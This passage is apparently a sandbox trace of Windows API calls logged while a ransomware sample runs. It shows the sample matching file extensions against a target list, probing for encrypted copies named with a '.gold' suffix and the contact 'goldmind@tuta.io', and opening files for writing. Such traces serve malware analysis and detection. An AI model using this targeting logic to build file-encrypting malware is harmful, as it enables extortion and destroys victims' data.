lpString2=".exe") returned -1 [0088.633] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe") returned 64 [0088.633] lstrlenW (lpString=".1cd") returned 4 [0088.633] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0088.633] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe") returned 64 [0088.633] lstrlenW (lpString=".jpg") returned 4 [0088.633] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0088.633] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe") returned 64 [0088.633] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe") returned 64 [0088.633] lstrlenW (lpString=".doc") returned 4 [0088.633] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0088.633] lstrlenW (lpString=".docx") returned 5 [0088.633] lstrcmpiW (lpString1=".docx", lpString2="n.exe") returned -1 [0088.633] lstrlenW (lpString=".pdf") returned 4 [0088.633] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0088.633] lstrlenW (lpString=".xls") returned 4 [0088.633] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0088.633] lstrlenW (lpString=".xlsx") returned 5 [0088.633] lstrcmpiW (lpString1=".xlsx", lpString2="n.exe") returned -1 [0088.633] lstrlenW (lpString=".ppt") returned 4 [0088.633] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0088.633] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe") returned 64 [0088.633] lstrlenW (lpString=".zip") returned 4 [0088.633] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0088.633] lstrlenW (lpString=".rar") returned 4 [0088.633] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0088.633] lstrlenW (lpString=".bz2") returned 4 [0088.633] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0088.633] lstrlenW (lpString=".7z") returned 3 [0088.633] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0088.633] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe") returned 64 [0088.633] lstrlenW (lpString=".dbf") returned 4 [0088.633] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0088.633] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe") returned 64 [0088.633] lstrlenW (lpString=".1cd") returned 4 [0088.633] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0088.633] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe") returned 64 [0088.633] lstrlenW (lpString=".jpg") returned 4 [0088.633] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0088.633] lstrcmpiW (lpString1=".dll", lpString2=".gold") returned -1 [0088.633] lstrlenW (lpString="IPSEventLogMsg.dll") returned 18 [0088.633] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0088.634] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=2048) returned 1 [0088.634] CloseHandle (hObject=0x194) returned 1 [0088.634] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll")) returned 0x20 [0088.634] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0088.634] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0088.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll") returned 69 [0088.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll") returned 69 [0088.634] lstrlenW (lpString=".doc") returned 4 [0088.634] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0088.634] lstrlenW (lpString=".docx") returned 5 [0088.634] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0088.634] lstrlenW (lpString=".pdf") returned 4 [0088.634] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0088.634] lstrlenW (lpString=".xls") returned 4 [0088.635] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0088.635] lstrlenW (lpString=".xlsx") returned 5 [0088.635] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0088.635] lstrlenW (lpString=".ppt") returned 4 [0088.635] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0088.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll") returned 69 [0088.635] lstrlenW (lpString=".zip") returned 4 [0088.635] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0088.635] lstrlenW (lpString=".rar") returned 4 [0088.635] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0088.635] lstrlenW (lpString=".bz2") returned 4 [0088.635] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0088.635] lstrlenW (lpString=".7z") returned 3 [0088.635] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0088.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll") returned 69 [0088.635] lstrlenW (lpString=".dbf") returned 4 [0088.635] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0088.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll") returned 69 [0088.635] lstrlenW (lpString=".1cd") returned 4 [0088.635] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0088.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll") returned 69 [0088.635] lstrlenW (lpString=".jpg") returned 4 [0088.635] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0088.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll") returned 69 [0088.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll") returned 69 [0088.635] lstrlenW (lpString=".doc") returned 4 [0088.635] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0088.635] lstrlenW (lpString=".docx") returned 5 [0088.635] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0088.635] lstrlenW (lpString=".pdf") returned 4 [0088.635] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0088.635] lstrlenW (lpString=".xls") returned 4 [0088.635] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0088.635] lstrlenW (lpString=".xlsx") returned 5 [0088.635] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0088.635] lstrlenW (lpString=".ppt") returned 4 [0088.635] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0088.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll") returned 69 [0088.635] lstrlenW (lpString=".zip") returned 4 [0088.635] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0088.635] lstrlenW (lpString=".rar") returned 4 [0088.635] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0088.635] lstrlenW (lpString=".bz2") returned 4 [0088.635] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0088.635] lstrlenW (lpString=".7z") returned 3 [0088.635] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0088.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll") returned 69 [0088.635] lstrlenW (lpString=".dbf") returned 4 [0088.635] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0088.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll") returned 69 [0088.635] lstrlenW (lpString=".1cd") returned 4 [0088.635] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0088.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll") returned 69 [0088.635] lstrlenW (lpString=".jpg") returned 4 [0088.636] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0088.636] lstrcmpiW (lpString1=".dll", lpString2=".gold") returned -1 [0088.636] lstrlenW (lpString="IpsMigrationPlugin.dll") returned 22 [0088.636] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsMigrationPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsmigrationplugin.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0088.636] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=40960) returned 1 [0088.637] CloseHandle (hObject=0x194) returned 1 [0088.637] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsMigrationPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsmigrationplugin.dll")) returned 0x20 [0088.637] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsMigrationPlugin.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsmigrationplugin.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0088.637] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsMigrationPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsmigrationplugin.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0088.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsMigrationPlugin.dll") returned 73 [0088.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsMigrationPlugin.dll") returned 73 [0088.637] lstrlenW (lpString=".doc") returned 4 [0088.637] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0088.637] lstrlenW (lpString=".docx") returned 5 [0088.637] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0088.637] lstrlenW (lpString=".pdf") returned 4 [0088.637] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0088.637] lstrlenW (lpString=".xls") returned 4 [0088.637] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0088.637] lstrlenW (lpString=".xlsx") returned 5 [0088.637] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0088.637] lstrlenW (lpString=".ppt") returned 4 [0088.637] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0088.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsMigrationPlugin.dll") returned 73 [0088.638] lstrlenW (lpString=".zip") returned 4 [0088.638] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0088.638] lstrlenW (lpString=".rar") returned 4 [0088.638] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0088.638] lstrlenW (lpString=".bz2") returned 4 [0088.638] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0088.638] lstrlenW (lpString=".7z") returned 3 [0088.638] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0088.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsMigrationPlugin.dll") returned 73 [0088.638] lstrlenW (lpString=".dbf") returned 4 [0088.638] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0088.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsMigrationPlugin.dll") returned 73 [0088.638] lstrlenW (lpString=".1cd") returned 4 [0088.638] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0088.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsMigrationPlugin.dll") returned 73 [0088.638] lstrlenW (lpString=".jpg") returned 4 [0088.638] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0088.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsMigrationPlugin.dll") returned 73 [0088.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsMigrationPlugin.dll") returned 73 [0088.638] lstrlenW (lpString=".doc") returned 4 [0088.638] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0088.638] lstrlenW (lpString=".docx") returned 5 [0088.638] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0088.638] lstrlenW (lpString=".pdf") returned 4 [0088.638] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0088.638] lstrlenW (lpString=".xls") returned 4 [0088.638] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0088.638] lstrlenW (lpString=".xlsx") returned 5 [0088.638] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0088.638] lstrlenW (lpString=".ppt") returned 4 [0088.638] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0088.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsMigrationPlugin.dll") returned 73 [0088.638] lstrlenW (lpString=".zip") returned 4 [0088.638] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0088.638] lstrlenW (lpString=".rar") returned 4 [0088.638] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0088.638] lstrlenW (lpString=".bz2") returned 4 [0088.638] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0088.638] lstrlenW (lpString=".7z") returned 3 [0088.638] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0088.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsMigrationPlugin.dll") returned 73 [0088.638] lstrlenW (lpString=".dbf") returned 4 [0088.638] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0088.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsMigrationPlugin.dll") returned 73 [0088.638] lstrlenW (lpString=".1cd") returned 4 [0088.638] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0088.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsMigrationPlugin.dll") returned 73 [0088.639] lstrlenW (lpString=".jpg") returned 4 [0088.639] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0088.639] lstrcmpiW (lpString1=".dll", lpString2=".gold") returned -1 [0088.639] lstrlenW (lpString="IpsPlugin.dll") returned 13 [0088.639] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0088.639] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=94720) returned 1 [0088.639] CloseHandle (hObject=0x194) returned 1 [0088.639] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll")) returned 0x20 [0088.639] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0088.639] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0088.639] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll") returned 64 [0088.639] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll") returned 64 [0088.639] lstrlenW (lpString=".doc") returned 4 [0088.639] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0088.639] lstrlenW (lpString=".docx") returned 5 [0088.639] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0088.639] lstrlenW (lpString=".pdf") returned 4 [0088.639] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0088.639] lstrlenW (lpString=".xls") returned 4 [0088.640] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0088.640] lstrlenW (lpString=".xlsx") returned 5 [0088.640] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0088.640] lstrlenW (lpString=".ppt") returned 4 [0088.640] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0088.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll") returned 64 [0088.640] lstrlenW (lpString=".zip") returned 4 [0088.640] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0088.640] lstrlenW (lpString=".rar") returned 4 [0088.640] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0088.640] lstrlenW (lpString=".bz2") returned 4 [0088.640] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0088.640] lstrlenW (lpString=".7z") returned 3 [0088.640] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0088.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll") returned 64 [0088.640] lstrlenW (lpString=".dbf") returned 4 [0088.640] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0088.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll") returned 64 [0088.640] lstrlenW (lpString=".1cd") returned 4 [0088.640] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0088.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll") returned 64 [0088.640] lstrlenW (lpString=".jpg") returned 4 [0088.640] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0088.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll") returned 64 [0088.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll") returned 64 [0088.640] lstrlenW (lpString=".doc") returned 4 [0088.640] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0088.640] lstrlenW (lpString=".docx") returned 5 [0088.640] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0088.640] lstrlenW (lpString=".pdf") returned 4 [0088.640] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0088.640] lstrlenW (lpString=".xls") returned 4 [0088.640] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0088.640] lstrlenW (lpString=".xlsx") returned 5 [0088.640] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0088.640] lstrlenW (lpString=".ppt") returned 4 [0088.640] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0088.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll") returned 64 [0088.640] lstrlenW (lpString=".zip") returned 4 [0088.640] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0088.640] lstrlenW (lpString=".rar") returned 4 [0088.640] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0088.640] lstrlenW (lpString=".bz2") returned 4 [0088.640] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0088.640] lstrlenW (lpString=".7z") returned 3 [0088.640] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0088.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll") returned 64 [0088.640] lstrlenW (lpString=".dbf") returned 4 [0088.641] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0088.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll") returned 64 [0088.641] lstrlenW (lpString=".1cd") returned 4 [0088.641] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0088.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll") returned 64 [0088.641] lstrlenW (lpString=".jpg") returned 4 [0088.641] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0088.641] lstrcmpiW (lpString1=".mui", lpString2=".gold") returned 1 [0088.641] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0088.641] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0088.641] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=3584) returned 1 [0088.641] CloseHandle (hObject=0x194) returned 1 [0088.641] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui")) returned 0x20 [0088.641] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0088.641] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0088.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui") returned 72 [0088.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui") returned 72 [0088.642] lstrlenW (lpString=".doc") returned 4 [0088.642] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0088.642] lstrlenW (lpString=".docx") returned 5 [0088.642] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0088.642] lstrlenW (lpString=".pdf") returned 4 [0088.642] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0088.642] lstrlenW (lpString=".xls") returned 4 [0088.642] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0088.642] lstrlenW (lpString=".xlsx") returned 5 [0088.642] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0088.642] lstrlenW (lpString=".ppt") returned 4 [0088.642] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0088.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui") returned 72 [0088.642] lstrlenW (lpString=".zip") returned 4 [0088.642] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0088.642] lstrlenW (lpString=".rar") returned 4 [0088.642] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0088.642] lstrlenW (lpString=".bz2") returned 4 [0088.642] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0088.642] lstrlenW (lpString=".7z") returned 3 [0088.642] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0088.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui") returned 72 [0088.642] lstrlenW (lpString=".dbf") returned 4 [0088.642] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0088.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui") returned 72 [0088.642] lstrlenW (lpString=".1cd") returned 4 [0088.642] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0088.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui") returned 72 [0088.642] lstrlenW (lpString=".jpg") returned 4 [0088.642] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0088.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui") returned 72 [0088.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui") returned 72 [0088.642] lstrlenW (lpString=".doc") returned 4 [0088.642] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0088.642] lstrlenW (lpString=".docx") returned 5 [0088.642] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0088.642] lstrlenW (lpString=".pdf") returned 4 [0088.642] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0088.642] lstrlenW (lpString=".xls") returned 4 [0088.642] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0088.642] lstrlenW (lpString=".xlsx") returned 5 [0088.642] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0088.642] lstrlenW (lpString=".ppt") returned 4 [0088.642] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0088.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui") returned 72 [0088.642] lstrlenW (lpString=".zip") returned 4 [0088.643] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0088.643] lstrlenW (lpString=".rar") returned 4 [0088.643] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0088.643] lstrlenW (lpString=".bz2") returned 4 [0088.643] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0088.643] lstrlenW (lpString=".7z") returned 3 [0088.643] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0088.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui") returned 72 [0088.643] lstrlenW (lpString=".dbf") returned 4 [0088.643] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0088.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui") returned 72 [0088.643] lstrlenW (lpString=".1cd") returned 4 [0088.643] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0088.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui") returned 72 [0088.643] lstrlenW (lpString=".jpg") returned 4 [0088.643] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0088.643] lstrcmpiW (lpString1=".mui", lpString2=".gold") returned 1 [0088.644] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0088.644] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui" 